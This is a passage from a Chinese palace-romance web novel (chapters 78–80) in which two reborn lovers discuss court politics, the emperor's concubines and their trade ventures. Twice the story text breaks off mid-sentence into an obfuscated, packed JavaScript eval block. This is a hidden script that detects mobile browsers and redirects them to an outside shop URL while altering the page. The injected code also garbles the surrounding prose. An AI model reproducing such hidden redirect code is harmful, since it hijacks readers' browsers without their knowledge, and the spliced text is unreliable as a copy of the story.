霍灵渠拍掉他的手,哼道:“童年的时候,祖父叮嘱我,肃宗皇帝在位期间,天下珍宝尽归你晏家,你们晏家藏着金山呢,我对你要有便宜不占白不占,不用客气。” 晏霁之评价:“你祖父是老财迷,你就是个小财迷,憋着坏觊觎我家的财宝。” 还真没评错,霍灵渠对指她财迷非但不放在心上反而生出点兴趣,美眸似有星星闪烁,她嬉笑得像偷吃到松果的小松鼠:“你们家真的藏有那么多财宝吗? 我祖父说啦,肃宗皇帝在位二十年,你曾祖父权倾朝野就有十七年,你曾祖独揽朝堂期间都有谋士劝他黄袍加身改朝换代,那些年天下珍宝尽归你晏家。” 婚嫁讲求门当户对会被奉行自然有根源,同等的门第、相似的生活环境以及教养往往是婚姻最牢固的纽带。恰如此时,霍灵渠能当闲话般曝出改朝换代,晏霁之也能陪她瞎起哄:“你们祖孙蔫坏蔫坏的,居然妄言想给我家乱扣要诛灭九族的罪名。” 霍灵渠歪头看看男人,笑得像偷腥小猫似的扒着他:“嗳,你应该知道的吧,肃宗皇帝是不是大智若愚呀,看似是你曾祖父在前,实则肃宗皇帝才是掌控全局之人?” 晏霁之低眸瞟瞟她,这女人是真没意识到她这个姿势有多暧昧。 所以呀,男女间的亲密真的是一目了然。 “肃?”晏霁之没答复,只道:“我祖父生前曾忆起,肃宗宽仁,庙号以仁字更契合,但他终结了惠宗遗留下来的乱象还朝堂以清明,肃字更有敬意。” “嗯,我祖父也曾谈及,肃宗皇帝心眼儿是真好。”霍灵渠也没揪着问,随他跳话题:“而且他自己不爱处理日常朝政,把朝堂委托给你曾祖也放心。 难得的是他能始终信任你曾祖父,还临终托孤把新帝都托付给你曾祖父了;我祖父说,你曾祖没有辜负肃宗皇帝必有感念肃宗的信赖在,他们其实是场君臣佳话。” “君臣佳话?”晏霁之感慨:“这也许是晏家做近二十年权臣家族还能得善终的根源,我曾祖比肃宗皇帝年长十岁,比肃宗多活两年,权倾朝野时还不到四十岁。” “惠宗驾崩的时候也还不到四十岁。”霍灵渠思维扩散:“你说,惠宗皇帝怎么会登基后就像变了个人似的,他还是储君时,朝臣们对他不都是褒奖溢美居多吗?” 晏霁之猜:“压抑太久了吧,战战兢兢做八年储君,惠宗登基时都三十岁了。” “太祖皇帝和太宗皇帝都是四十岁以后做皇帝。”霍灵渠提醒,晏霁之失笑:“傻瓜,他们二位是何等雄主,能比吗?太宗皇帝在位二十四年,太祖在位十五年,近四十年间朝廷有三十年在征战,若非天下该休养生息,太宗皇帝能挑惠宗继位吗?” “是哦。”霍灵渠叹息:“可惜,惠宗对父亲对社稷百姓和良臣们都辜负了。” “评述往昔,匆匆百年真像在弹指间,今年都已经是嬴姓皇族立国第一百零一年了。”晏霁之喟叹:“嬴忱璧雄心勃勃,定然想打造个祖宗们未有之盛世。” 霍灵渠觉得:“你还是操心你自家吧,没准儿代王府对你们晏家积恨甚深呢。” “有道理,前世里老皇帝会对英王府夺爵抄家绝对有代王数十年诋毁中伤的影响在。”晏霁之乐呵呵附和,把往事抛掉把话题拉回去,再问她怎么偷溜出皇宫的? 霍灵渠抿抿唇低语:“是前天夜里,姬太妃派婢女到长春宫慰问贵妃,我没出面,她的婢女又过来我住的偏殿给我送信,让我当场就给答复,我答应了。 长春宫里有两名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍灵渠下意识报备没觉得有何不妥,反而像做错事般有些不敢面对晏霁之:“第一回是六天前,皇帝情绪很激烈,我拗不过;第二回就是四天前,关雎宫那些宫人好像跟我有大仇似的想钉死霍贵妃,我被他们搅得心思沉郁,我就没理会。” 晏霁之云淡风轻:“你进宫二十多天,想我若能有两个多时辰,我就原谅你,有吗?” “有,但我出皇宫来不是想和你藕断丝连,我就是不适应突然没有你,我想你了,我只想你能抱抱我、陪我在宫外散散心。”霍灵渠也怕没有说服力:“你信吗?” 晏霁之表情赞同:“你对我多献献殷勤,我应该能相信你不是耐不住寂寞才想我。” 溜出皇宫会情郎的贵妃娘娘:“……” 他们两个小混蛋在城郊优哉游哉,皇城的长春宫中,霍太后抓狂得几乎要暴走,她捏着信纸特别有冲去抓破那老女人老脸的冲动,信上居然写:我把灵渠接走了,三五日后送回,不想让皇帝起疑,你就乖乖留在长春宫里打掩护,别来烦我。 霍漓江被叫进长春宫,还没说话就被妹妹扔张纸条,展开一看,真特么有骂街的冲动,姬太妃姐弟俩竟然背着他搞这种花样;不能找姐姐,他还能不能找弟弟吗? 杀到太微宫前方才想起来太上皇向来忌讳他俩碰面,霍漓江迟疑片刻还是进太微宫,他必须警告清楚,省得这姐弟俩吃饱撑得背着他三天两头在灵渠面前耍花样。 “你骂谁呢?” 霍漓江欠抽的,见面没两句话就指他吃饱撑着给自己找麻烦,诲仰道长能给好脸才怪,虽然这混蛋给他摆好脸色他也不会买账:“你有种啊,二十六年前你找谁借腹生的女儿?这种事你居然都能给我瞒得死死的,这回若非我给你兜着,你霍家还能收场吗?” “你们姐弟俩知道了?”霍漓江有点意外但也无所谓,被他们姐弟知道又没什么关系:“你姐姐迟钝得,温献皇后生前给她暗示多少回,她都没反应,你怎么知道的?” “掳走霍灵渠想颠覆霍家的那位哪儿能想到他竟然也帮了霍家。”诲仰道长斜他嘲讽:“否则孩子就在太上皇的眼皮底下长大,你霍家还能打消得掉老皇帝的疑心?” “有何不能打消?”霍漓江不以为然:“你三言两语不就把太上皇哄得团团转?” 诲仰道长忽然怒起:“你以为我能随意糊弄得了他吗,老皇帝想要找什么,你不清楚?你可是亲眼看着我哥死的!贵妃册封典礼的宫宴上,你没听他说:国舅可真会藏啊!” 霍漓江神情微变,狐疑打量他:“圣人想拿灵渠来修炼长生?” “若不能长生不老,老皇帝知道他还有六年的命;六年,今年,他或许还能忍忍,明年就说不准了,后年他定然动手。”诲仰道长相当于默认般提示:“霍家可做准备了,也可以通知皇帝做好准备,可能明年也可能是正徽七年,圣人就要挥刀了。” “你告诉太上皇他还有六年的命,他就能信吗?”城楼上有风吹拂,吹得他们衣袂翩翩也将霍漓江的质疑吹得飘荡空缈:“当年你哥死后,圣人把蜀王变相软禁十八年,怎会突然改主意还把蜀地驻军交给蜀王委以重任,什么变故会令太上皇突然逆转? 还有你和你大外甥,你当我不清楚你们甥舅关系有多差吗,你姐姐心如死灰多少年了,她突然燃起斗志还你们姐弟联手谋划把灵渠送出宫玩两天岂不可笑吗?” 霍漓江语气很肯定:“授康二十八年,圣人非要禅位是你和蜀王的手笔,对吧?” 他们站在城楼上,太微宫巍然高阔的城墙上,往下俯瞰,众生渺小之感油然而生,诲仰道长笑得如沐春风:“我大外甥想明白了,唯有手中有权才不会任人宰割。” 城楼前,唯见蓝天辽阔无垠,白云悠然舒卷,风吹散几缕云絮漏出金辉,阳光正好。 79. 第79章 燕山位于京畿东南方向二十多里外,燕山及其周边山岭都属晏家私有,山间数不胜数的参天古树将阳光割做网状化作光斑散落在葱葱郁郁间,遍地生机昂扬。 晏霁之黏糊地搂着霍灵渠漫步,霍灵渠第一回进燕山,沿路不由多瞧两眼:“我记得前世里英王府被夺爵抄家,燕山和这附近的山岭都被老皇帝收归朝廷了吧。”晏霁之嗯了声,霍灵渠豁然联想:“这样看来,燕山里没有你晏家的宝藏了。” “霍家没给贵妃送珍宝吗,至于你这样念念不舍我家的财宝吗?” “知道的人都知道的,不知者也不会再知你晏家比桓家富,你怕什么?”霍灵渠横他,晏霁之奉陪:“你敢在人前嚷嚷霍家给贵妃送108台零用作价几何吗?” “告诉你又如何?”霍灵渠偷换概念:“我有什么不敢告诉你的,108台箱笼,珍宝等物作价百万贯,十箱黄金、三十万两银锭和六十万两银票,总价值二百万贯。” 晏霁之略意外:“送得中规中矩,不像霍家想弥补贵妃的作风,我以为至少得翻番。” “是我不让家里送,家中原本想给我送236抬箱笼,我根本不想要。”霍灵渠解释道:“这108抬是我逼家里减的,是从原本备好的箱笼当中取66抬箱笼拆做而来。” 难怪,晏霁之训她:“看看你霍家富成这德行会没有金山吗,你好意思惦记我家?” 霍灵渠重哼声反击:“看看你晏家富得两座金山都有,你好意思和嬴天漾联手抢境外交趾国的国库吗?难怪你没闲暇插手朝堂,你玩弄权谋的心思都跑到交趾国去了。” 对,是她进宫前夜他没把持住、炫耀了下就泄露给她知道了,晏霁之郁闷闭嘴。 他们走到山庄时,守庄的彧伯已经离开,老人离庄前给小主人把茶水糕点都准备好了;晏霁之近几年每年都会来燕山住些天,山庄里就有他专属的屋舍。 两人用过午膳再进燕山的,倒是不饿,有些渴,故而晏霁之进屋即倒茶喝,霍灵渠走慢些观览这座古朴的山庄,这山庄有些斑驳老旧竟像有种年久失修的意味。 晏霁之解了渴,把竹藤椅高几和茶水瓜果糕点陆续搬到庭院中,准备歇会儿晒晒太阳;霍灵渠进院就看见他老神在在靠在躺椅里,走过去给自己倒茶喝。 “我亲自栽种培育的葡萄就在庄里,山庄里还有我亲自酿的葡萄酒和橘酒,晚膳时我们开坛葡萄酒或甜橘酒喝。”晏霁之把女人拥进怀里,复感叹:“真该谢谢蜀王。” 霍灵渠把她的包裹放在高几角,不接话,抱起果盘吃樱桃,时不时也给他喂颗樱桃。 宁静的午后,阳光携花香流连过花丛转徙过墙垣树梢,翩然散落温馨在指缝间。 晏霁之看着怀中怡然自在的女人,他唇畔微扬不自觉想笑,才意识到原来只要心爱的女人在身边就会高兴,哪怕他们只是晒晒太阳也会发自心底的愉悦。 过会儿,晏霁之打破安静:“六天前,嬴忱璧因何事情绪很激烈?” “哦,你有没有耳闻过呀?”霍灵渠把果盘放回高几,仰头,美眸亮晶晶,有种憋许久总算能分享八卦的兴奋:“皇帝说,前世里郭氏红杏出墙给他戴绿帽。” 晏霁之猝不及防都有点懵:“你确定,嬴忱璧亲口这么告诉你?” “没有没有,他说得比较隐晦,我有猜想就向他求证,他躲避不过就隐晦的承认了。”霍灵渠拿茶壶倒杯茶喝,晏霁之轻咳:“你把你们当时的对话原原本本重复遍。” “行啊,皇帝说他要让郭皇后辞位的根本原因是他顾念儿女们想替郭皇后和儿女们谋划条最好的出路。我问最好是何意,皇帝说……”对话重复遍,霍灵渠总结:“肯定是前世里发生过了,否则无论如何,皇帝也不可能有这种揣测呀。” “嬴忱璧他可真是、一死怨恨消吗?”晏霁之不得不赞声:“谁能想得到他冷硬的外表下竟有此慈悲心肠,难怪前世里他的越王妃和杭侧妃双双暴毙。” “杭?”霍灵渠讶然:“杭婕妤吗?皇帝说是有人想毁掉郭氏,就是杭婕妤?” “前世,越王府,杭侧妃最受宠,嬴忱璧的长女、第三子和第五子都是她所出;她和越王妃是在授康38年寒冬暴毙,当时越王的前路已经稳了,她挑此时机动手?”晏霁之恭维:“这是争都懒得争了,竟妄想在越王登基后直接戴凤冠。” 霍灵渠就事论事:“她的想法有问题吗?杭侧妃既然最受宠还有三个儿女,按她预想,若是越王妃在越王登基前就被废掉,凤冠自然是她的,这想法不对吗?” “做妾室得宠与做妾室能扶正是两回事,她这想法没问题的前提是越王也有此意,可她居然把最该顾虑的事省略,那还能没问题吗?单她这桩谋划就曝出她多少秉性:好高骛远、急功近利、目光短浅、利益熏心、妄自尊大。” 晏霁之捏串樱桃递给她,淡淡道:“越王不在意,这些都不是问题,可若越王在意呢?是最受宠的妾室不代表就能扶正更不代表男人被她攥在手里,这杭侧妃最大的毛病反倒不是好高骛远而是妄自尊大,她若能安分等到越王登基,正二品,到头了。” “你怎么推测的呀?”霍灵渠奇怪:“前世,杭侧妃既然最受宠还育有三个儿女,假若她能按捺住等到越王登基,哪怕不能做贵妃,从一品的妃位总能够到吧?” “今生,皇帝最宠令愔夫人,许多人看来等陛下收拾掉霍家,令愔夫人封后指日可待,我说嬴忱璧只是在憋屈自己忍耐令愔夫人。”晏霁之答非所问。 霍灵渠眼冒星星,小脸惊喜真觉得他神啦:“你到底怎么猜的呀,皇宫里有许多人觉得皇帝的第三任皇后当属令愔夫人,纤若都劝我即使能登凤座都别得罪令愔夫人。 我就问皇帝的态度,皇帝说没这心思,常常和令愔夫人话不投机、对方都察觉不出来,想把她当做解语花都实在不行,我都觉得有点不可思议。” 晏霁之被怀里人儿这兴奋感染得忍俊不禁:“不难猜,前世,令愔夫人家世容貌才情皆远胜杭侧妃都没能越过杭氏,今生怎会让嬴忱璧喜欢,一个连讨皇帝欢心都做不到的嫔妃,皇宫中嫔妃多起来,她还能不能留住皇帝都是两说。” “何况,翁美人得宠已经超过令愔夫人了。”晏霁之曝出个小秘密,霍灵渠诧异:“宫中没有这风向呀,还是令愔夫人最得宠,翁美人第二得宠。” “翁美人陪伴皇帝才两年多,让她这么快越过令愔夫人对她不是好事,皇帝没摆出来,但翁美人诞下皇嗣,不论皇子还是公主,明年,翁美人得宠都将超过令愔夫人,很简单呀,皇帝对翁美人又不憋屈自己忍耐着。”晏霁之解释。 霍灵渠好奇:“你怎么看出来的,翁美人得宠已经超过令愔夫人?” 晏霁之捏捏她小脸蛋,笑道:“去年七月初六,皇帝陪着翁美人,未料第二天七夕夜,皇帝仍然陪翁美人,八月末太医诊脉,翁美人传出身孕,七月初六或者七夕夜怀上的,当时大家想皇帝可能还贪新鲜,没算惊起什么。 但我猜,皇帝是有用意,晓谕众人,令愔夫人最得宠嫔妃之位快到头了。再者,去年,已故的珍修仪还活着,还有霍秀仪,对翁美人怀胎恨得牙痒痒,翁美人这胎还能怀得安稳,自然是皇帝在护着翁美人。” “正徽二年十月进宫的嫔御,为何是翁美人显出来,当然不是凑巧,是皇帝观摩一圈后挑出来的。”晏霁之道:“令愔夫人是什么,皇帝没有能宠的女人才显出她来,翁美人好歹是皇帝自己择出来,当然要比令愔夫人合皇帝心意得多。” “哦,”霍灵渠悟道:“所以,前世杭侧妃受宠和今生令愔夫人能得宠的本质是相同的,是嬴忱璧在妻妾当中都没有能宠的女人才会显出她们来。”可,霍灵渠还是困惑:“就因此,前世杭侧妃若能按捺到越王登基也得不到一品妃位吗?” “居一品高位的嫔妃能传召前朝大臣,一品和二品的差距还是皇帝心意的影射;潜邸最受宠的宠妾若摆在二品位置,明显是皇帝对她的辖制,若让她登一品高位则可等同于皇帝放纵乃至有意扶持,闻风而动者向她投诚,她能迅速聚拢势力。” 晏霁之点拨道:“越王能不清楚杭侧妃的秉性吗?仍然能宠她无非是当做解语花用,但一朵带毒的解语花只能做宠妾,否则便是给自己添麻烦;前世杭侧妃暴毙就很清楚了,既然嬴忱璧没想过对她生的儿子寄予厚望又岂能放纵她?” “哦……”霍灵渠恍然,持疑道:“哎,尚服局把该给贵妃的雪缎转赠给生养过的嫔妃,知会我时还夸赞过她们二位的娘家人,说杭婕妤的父兄很有风骨,真的?” “真的图谋不小,有风骨能让女儿进王府做妾、能养出个阴毒女儿吗?”晏霁之估摸:“我猜杭婕妤今年会把自己作死,皇帝若想让贵妃抚养大公主,你尽管推掉。” 霍灵渠诧异:“何以见得?杭婕妤目前只有大公主,哪怕她有意凤座都还早着呢。” 晏霁之倒杯茶喝,慢条斯理道:“嬴忱璧对郭皇后能一死怨恨消,对杭婕妤定然是厌恶;皇帝虽然至今未曾冷落杭婕妤,但绝不会让她再生,这位必定已经绝育了。 这件事肯定得曝出来,眼下选秀在即就是个好时机,送给忠毅伯府,且我猜这事也应该是嬴忱璧借已故珍修仪的手做的,杭婕妤可能认吗?我赌,她要争夺抚养大皇子。” 霍灵渠不解:“今生她已非最得宠,抚养嫡长皇子对她能有什么好处?” 晏霁之拿块玫瑰花酱蒸糕,掰半块糕点递给她,半块糕点吃下,又喝口茶,客观分析:“我刚提过,这位最大的毛病是妄自尊大,不是最得宠的嫔妃对她没影响。 她和令愔夫人相处多年会不清楚令愔夫人吗?在她看来,霍家死期不远,令愔夫人不足为惧;她小门户的出身也不会在意,而最该顾及的皇帝的心意,她直接忽略了。她只会想,郭皇后辞位,她若能抚养嫡长皇子又岂会没资格问鼎后位?” 霍灵渠看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459271|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得淡也有点感触,她相信晏霁之的判断:“太微宫的太妃们盼皇嗣盼得望穿秋水,杭婕妤育有大公主能保在皇宫中安稳终老,更不会少富贵。” “前世嬴忱璧没有顾念儿女,就是不相信她能安生吧。”而晏霁之不得不感叹的是,皇帝够慈悲:“况且嬴忱璧可是在忍着自己的厌恶去给杭婕妤能安稳终老的机会,皇帝宽容到这种份上还能经得起她折腾吗?她若作妖,唯有死路。” 霍灵渠若有所思,探讨道:“嗳,你觉得皇帝在意郭皇后吗?前世红杏出墙的媳妇呀,今生他还能对郭皇后好岂会没有喜欢?我提醒他,他还不承认,你觉得呢?” “……”晏霁之被她成功憋住,事不关己都险些犯恶心:“幸好我对钟姨娘没手软,要不然你来提醒:‘我觉得你在意钟姨娘’,我不想怀疑你故意想恶心我都不行。” 霍灵渠据理力争:“皇帝宽待媳妇明摆着呀,若非他在意郭氏又能是为什么?” “令愔夫人常常和皇帝话不投机都能是后宫和朝堂看来最得宠的嫔妃,何故?杭婕妤早已被皇帝厌恶又可曾受过冷落,连对后宫都不敢松懈,嬴忱璧他何苦?” 晏霁之没好气:“你看我容易吗?我还要帮情敌解释,你当皇帝过得有多轻松,他登基前两年都在走悬崖,正徽三年他才把路走稳,正徽四年时他才能喘口气。 今年都正徽五年了,嬴忱璧他这位皇帝才在人前立过威,你想想他忍耐得有多狠;皇帝要把背后那些暗流涌动降到最少将局面压稳,没触及他的底线前还有什么不能忍?” “可皇帝还怕媳妇坐凤位是死路还要帮郭氏谋出路呢。”霍灵渠驳斥:“这是忍吗?” 晏霁之被卡住了,神奇得受惊:“不会吧,不可能吧,嬴忱璧不至于吧?” 霍灵渠执茶壶倒两杯茶,递杯茶给他,劝他冷静:“各花入各眼,没什么大惊小怪的,你能日久生情喜欢我,皇帝为何不能喜欢媳妇?我就觉得郭皇后是他的心头好。” “你把皇帝的品位降得可真低。”晏霁之喝茶压压惊:“六天前,皇帝为何情绪激烈?” “哦,他最近反思对郭皇后的宽容,发现宽容得让他像个笑话然后就遭反噬了,都说出‘我还当自己是皇帝吗?甚至于我还拿自己当男人吗?我是在犯贱吧。’这种话。” 晏霁之喘喘气,幸好他的认知才是对的:“那你还能觉得皇帝会在意喜欢郭氏?” 霍灵渠坚定不动摇:“他对郭皇后的种种好又不是假装的,我看他暂时受刺激而已。” “我倾向于他确有悲悯心怀,他对媳妇前世红杏出墙能死过怨消,今生就是新篇章。”晏霁之考虑道:“他为把局面压稳可是在憋屈自己来忍耐,这份忍堪比逆来顺受。 四年多的忍让足以形成习惯让他自己都没察觉:他对郭皇后到底有多宽容,以致他重新审视时觉得自己竟像笑话,而他顾念儿女们给原配谋划出路也在情理中。” “是吗?”霍灵渠很怀疑:“前世,表哥虽然救活我,但对你们而言我可死在他手里,今生他对我有悲悯宽容吗?他亲口承认他对郭氏宽容得像是在犯贱,可他对我如何? 强行册封贵妃,我多番祈求想离宫、我保证离宫后会在佛前安度余生,他置若罔闻,他对我有悲悯吗?更何况,前世郭氏给他戴绿帽,我有任何对不住他的吗?” 霍灵渠倏然怨火翻滚,她也不知为何非得执拗争辩,可一个前世差点害死她、今生又想毁掉她的男人,她怎么能不怨?!肯定她的推断好像就能压压怨火。 “我没有对不住他还被他差点害死啊,两厢对照,他能不喜欢郭氏?” 嬴忱璧真是想把自己坑死,晏霁之很有君子风范道:“皇帝正在弥补霍灵渠,用他认为最好的方式弥补霍灵渠,把皇后的凤冠给你,把皇帝心爱女人的位置给你。” 霍灵渠冷嗤,晏霁之叹惜声:“前世嬴忱璧的皇后就是霍灵渠,你们还有个儿子。” “……”被做皇后被有孩儿的霍灵渠不可思议得美眸圆瞪:“你说什么?” “前世,嬴忱璧登基的第二个月将霍灵渠追封贵妃,七日后又将霍贵妃追尊为皇后,再七日后又把他的幼子过继给霍皇后,当时朝臣们请皇帝追尊原配郭氏为后,他非但没理会,还不再册立旁人;前世,霍皇后霍灵渠是正徽帝唯一的皇后。”晏霁之相告。 霍灵渠被憋得不上不下,比堵着肺管还呛得慌,磨磨牙憋出:“我去屋里睡会儿。” 晏霁之把想离开的女人揽住,柔声道:“靠我怀里小憩吧,我再提最后一点,嬴忱璧对后宫的态度应该要变了,他绝不会再憋屈自己来维持后宫平稳。” 霍灵渠嗯声,闭眼靠在男人怀里小憩,她确实有些困倦,没多久就睡着了。晏霁之凝视她的睡颜许久,放轻动作脱掉外袍给她盖着,他抱着美人闭目养神。 庭前浅浅花香四溢,多少烦扰愁绪都仿佛在阳光里定格消散,唯留美好沉淀。 80. 第80章 橘红凝落眉梢,绚丽晚霞浸漫夕阳天。 霍灵渠睡饱醒来,发现自己在床铺里,拥被坐起,她抬手按按太阳穴清醒下,神思清明些就掀被下床,拿过外裳穿戴好。见屋中有清水,她简单洗漱番再出屋。 屋外陷在晚霞的曲调里犹似披件金晕外衣,霍灵渠没想到已是黄昏,想找厨房备晚膳时迎面看见晏霁之向她走来,忙迎上去:“我睡过了,你饿了吧,我这就去准备晚膳。” “不忙,我把晚膳备好了,放在灶上热着。”晏霁之搂住她,温柔含笑:“刚想来叫你,你就自己醒来了,我看你还真是累着了,我抱你回屋给你脱外衫都没醒。” “今早我寅时初刻醒的呀,哎,你究竟怎么学会的厨艺?”霍灵渠知道他会厨艺,前世他们刚搬到城郊竹屋住,他偶尔会下厨做饭可真是把她给吓着了:“前世我们刚住进竹屋那会儿你常常发呆,有时在厨房看我做饭就能看半日,难道你看看就能学会了?” “祖父过世后我离家游学,遇到个有本事的老先生,想拜师。”晏霁之眼中温情暖暖:“人家看我是富贵公子觉得我没耐性不能吃苦,不肯收我为徒,我缠着这老先生偏要拜师;他被缠得烦便给我出题,要我亲自做餐能令他满意的膳食,我只好先学厨艺。” 霍灵渠偷笑揶揄:“你师傅看你烧个火都要带手套,他就不嫌你吗?”前世,这男人在厨房围着她转几日后突然拿双皮手套给她,叫她烧火时戴着,她真说不出是什么心情。 晏霁之瞟瞟她,眼中暖暖的温柔转成凉飕飕的:“我自己烧火不戴手套。” 霍灵渠顿时像被掐住笑意,微弱抱怨:“那你给我塞双手套是什么意思嘛?” 晏霁之不咸不淡的:“怕你烧火做饭弄得手粗了,摸起来会不舒服。” 他们搬进竹屋的前两个月还没有哑婶帮衬,洗衣裳做饭这些事都是霍灵渠包揽,她对做家务活没什么在意、就是觉得烧火时戴手套真怪别扭的,闷闷道:“用膳去吧。” 晚膳的菜肴有荷叶鸡、清蒸鲈鱼、火腿鲜笋汤、香煎鸡蛋豆腐和清炒白菜,四菜一汤,每道菜都鲜美可口;晏霁之的挑剔包括对他自己,他哪怕学厨艺下厨都会认真对待。 霍灵渠尝筷嫩滑的鱼肉,忽生感悟:“难怪你会想在沿海边做调料生意。” “我不会厨艺照样会想在沿海州府做调料生意,这是常识。”晏霁之鄙视她:“唯独你,醒来半年竟然毫无动静,真会给我们这批同道中人丢脸。” “若非皇帝册封贵妃,我早已把桑柔和小祐送离京畿,我也有想寻找表哥的踪迹,此外还要做什么,难道学你做生意吗?”霍灵渠不赞同:“且不说我是流光姨娘时做生意不可能,我作甚要想做生意?报仇又是徐徐图之,我没有别的事情要做了呀。” 晏霁之险些被驳倒:“你说作甚想做生意,你个小财迷你不想揽财吗?” 霍灵渠眨眨眼,怪道:“若想要财宝,我向你要不就好啦;可我若是想做生意,且不提会多辛苦费劲,可能每月的赚头还不如向你撒撒娇,我何苦要费劲给自己找罪受?” 晏霁之被噎得手掌微颤,吹毛求疵道:“倘若我不肯给,你撒娇没用怎么办?” “多撒撒娇啊。”霍灵渠脱口而出,自然得像理所应当本该如此,晏霁之彻底败给她:“有道理!”他拿瓷碗盛碗火腿鲜笋汤递给她:“来,尝尝这火腿笋汤。” “嗯。”霍灵渠笑容甜甜接过,觉得这男人厨艺真不错的,也盛碗笋汤给他:“嗳,明日我给你煲鸡汤或者老鸭汤补补怎么样?你看你清减许多,山庄里有党参红枣吗?” “有!”晏霁之忽然间像心被蜜蜂蜇了蜇,望进她的笑眼有自己的影:“前世,我们搬进城郊竹屋的前两个月,我故意不安排奴婢,想试试你能否跟我过粗茶淡饭的日子?” 霍灵渠的思维和他没在同条线上,再者被试探和自己洗衣裳做饭,她又不在意:“可搬进竹屋的第四天,你就和我行周公之礼了呀,你既然想试我为何还要碰我?” 晏霁之莫名有点苦涩,庆幸她脾性够好不会追击:“用膳吧,饭菜该凉了。” 霍灵渠果如男人所愿般应好,抛掉闲话,专注用膳;晚膳毕,她收拾碗筷去厨房清洗,把碗筷洗涮干净又把厨房清扫洁净,再分开烧泡茶的热水和沐浴洗漱的热水。 木柴摆放齐整,灶前撒落些木屑灰烬在所难免,霍灵渠手托腮闲适注视灶膛里的火势。灶前烧火的场景好像格格不入又像契合,晏霁之远观片刻,拿矮凳走过去。 黑影投来,霍灵渠转头就看到男人形容消沉得站在她眼前,她还没言语,晏霁之放好矮凳坐在她身边后塞包油纸包给她,静静的,什么话没说,她打开油纸包见是椰蓉糖。 她自己吃颗椰蓉糖再给他喂颗,追忆道:“前世英王府刚夺爵抄家那会儿,你也这样,有时你整个人呆呆的能整日里都围着我,当时我都担心你受不住打击有点傻了。” “刚发现,眼前的场景和前世我们刚搬进竹屋那会儿真像,娇生惯养十指不沾阳春水,突然间要你自己洗衣裳做饭。”晏霁之凝视脚下那没被火光照耀而显得昏暗的青石板,仿佛昏暗中有漩涡能将他的声音淹没:“会否不到三日,你就后悔溜出皇宫了?” 霍灵渠忽就心坠坠得像系着石头般压得她沉闷难受,晏霁之多骄傲啊,何至于如此? 她往灶膛里塞块木柴,灶膛里重新燃起烧旺的火势,她凝视着火光出神,仿佛痴迷般:“今早刚见到你,我突然忐忑害怕,我想着你会不会嫌我不知羞耻而看不起我甚至厌恶我,我还思量想对你说,我适应好没有你、你再忘掉我吧。” 晏霁之静默几息时间,忽如扫尽阴霾般洋溢着风流向她暧昧:“今夜,洗鸳鸯浴?” 霍灵渠吃颗椰蓉糖再给他喂颗糖,没兴趣逗闷:“庄里若有红豆,你装碗红豆浸泡上,我想明早煮红豆粥和白粥再蒸包子;对了,庄里有些什么就白粥喝的配菜?” 晏霁之嫌扫兴:“红豆有,还有酸白菜酸豆角酸笋、酱黄瓜酱萝卜、腌蛋松花蛋。” “这么多,都是彧伯腌制的小菜呀。”霍灵渠随口道:“哦,你去装碗红豆泡着吧。” “松花蛋和酸白菜酱黄瓜是我腌制的。”晏霁之坐得稳如磐石丝毫没有站起来的意思,霍灵渠讶异转向他打量:“你怎么会想帮忙腌菜?” “我体恤老仆。”晏霁之自我标榜,霍灵渠平静戳破:“没见你体恤我呀,我让你装碗红豆倒进盆里再提桶水浸泡着,就搭把手的事,你不是还稳稳当当坐着吗? 我不清楚你的德行吗?你能坐到等着我把水烧沸,然后再对我说,你坐得累了,让我自己去装红豆泡水吧,你能有闲情帮老仆腌菜吗?你在做酸菜酱菜生意才是真的吧。” 晏霁之没可奈何地瞪她,等同默认,霍灵渠来点兴致:“腌菜是卖给海外的国家吗?把新鲜的菜蔬腌制成酸菜酱菜使其易于存放然后运到海外卖给少菜的国家?” “对,各国国情的差异会令国家间的需求迥然不同。”晏霁之应,霍灵渠笑靥如花,弯弯的笑眼里染满求知欲:“那你和那些海外国家都做些什么买卖呀?” 沉默两息,晏霁之把女人拉怀里抱住,这样逼仄的灶前还要腻歪惹得霍灵渠伸手拍他,他顺势握住她的纤手,沉静的语调中似有感怀:“我在广南有两家商号,两家商号都只在南洋做生意,且,两家商号可能都不知道幕后东家是同一个人。 我另有和嬴天漾合作商队,不走海路,走陆路向骠国,骠国盛产宝石翡翠,我负责物资他负责安全,商队在骠国就做宝石翡翠生意,有时捎带金器,对半分账。” 霍灵渠往灶膛里塞些木柴,冒出连串疑惑:“商船出海一趟要很久吗,波斯和大食国的香料在我朝那么盛行,你没想去和这两国做香料生意吗?还有呀,你和嬴天漾对半分账摆明你吃亏,你怎会愿意白白便宜他,你是有把柄在嬴天漾手里吗?” “我有那么计较吗?”晏霁之装没好气地捏捏她的俏鼻,霍灵渠不赞同:“做生意哪有含糊的理儿?亲兄弟都要明算账的,况且你能让谁占你的便宜?谁都不可能。” “有啊,就在我怀里呢。”晏霁之打趣:“这女人可不就是正在占我的便宜嘛。” 霍灵渠平复下再伸手拍他,独自吃颗椰蓉糖,然后单手托腮,看灶膛里的火势。 晏霁之讨饶:“海上凶险,我向嬴天漾借了几百名护卫配给一家商号保障安全。” “你的意思,雇护卫的花销算在你和他合作生意的分账里?”谁让霍灵渠好性儿,男人愿意解释连哄都不必就能让她的小气性消散,晏霁之偶尔想这也是令他动容的缘由之一吧,他很清楚自己有多挑剔,做他的女人必须要有足够的温柔哄他舒心。 